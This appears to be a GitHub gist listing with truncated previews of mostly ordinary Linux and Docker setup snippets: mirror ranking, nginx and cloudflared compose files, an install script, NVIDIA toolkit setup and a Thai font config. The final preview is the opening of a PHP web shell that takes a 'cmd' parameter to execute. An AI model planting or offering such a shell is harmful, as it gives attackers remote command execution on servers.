sudo pacman -S reflector
sudo reflector \
--country Thailand \
--age 24 \
--protocol https \
--sort rate \
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| services: | |
| nginx: | |
| image: nginx | |
| ports: | |
| - "80:80" | |
| command: | |
| - /bin/sh | |
| - -c | |
| - | | |
| cat > /etc/nginx/conf.d/default.conf <<'EOF' |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| services: | |
| cloudflared: | |
| image: cloudflare/cloudflared:latest | |
| container_name: cloudflared | |
| restart: unless-stopped | |
| command: tunnel --no-autoupdate run | |
| environment: | |
| - TUNNEL_TOKEN=YOUR_CLOUDFLARE_TOKEN | |
| network_mode: host |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #!/bin/bash | |
| # install list | |
| # - Golang | |
| # - Python | |
| # - Python-venv | |
| # - Node Version Manager (nvm) | |
| GO_VERSION=go1.26.0 | |
| NVIM_VERSION=v0.11.6 | |
| NVIM_FILE_NAME=nvim-linux-x86_64 |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #!/bin/bash | |
| sudo pacman -S nvidia-container-toolkit | |
| sudo nvidia-ctk runtime configure --runtime=docker | |
| sudo systemctl restart docker | |
| # docker run --rm --runtime=nvidia --gpus "device=0" ubuntu nvidia-smi | |
| # docker run --rm --runtime=nvidia --gpus all ubuntu nvidia-smi |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| <?xml version="1.0"?> | |
| <!DOCTYPE fontconfig SYSTEM "fonts.dtd"> | |
| <fontconfig> | |
| <!-- บังคับภาษาไทยทั้งหมดให้ใช้ Noto Sans Thai --> | |
| <match target="pattern"> | |
| <test name="lang" compare="contains"> | |
| <string>th</string> | |
| </test> | |
| <edit name="family" mode="assign_replace" binding="strong"> |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| <html> | |
| <body> | |
| <form method="GET" name="<?php echo basename($_SERVER['PHP_SELF']); ?>"> | |
| <input type="TEXT" name="cmd" autofocus id="cmd" size="80"> | |
| <input type="SUBMIT" value="Execute"> | |
| </form> | |
| <pre> | |
| <?php | |
| if(isset($_GET['cmd'])) | |
| { |
NewerOlder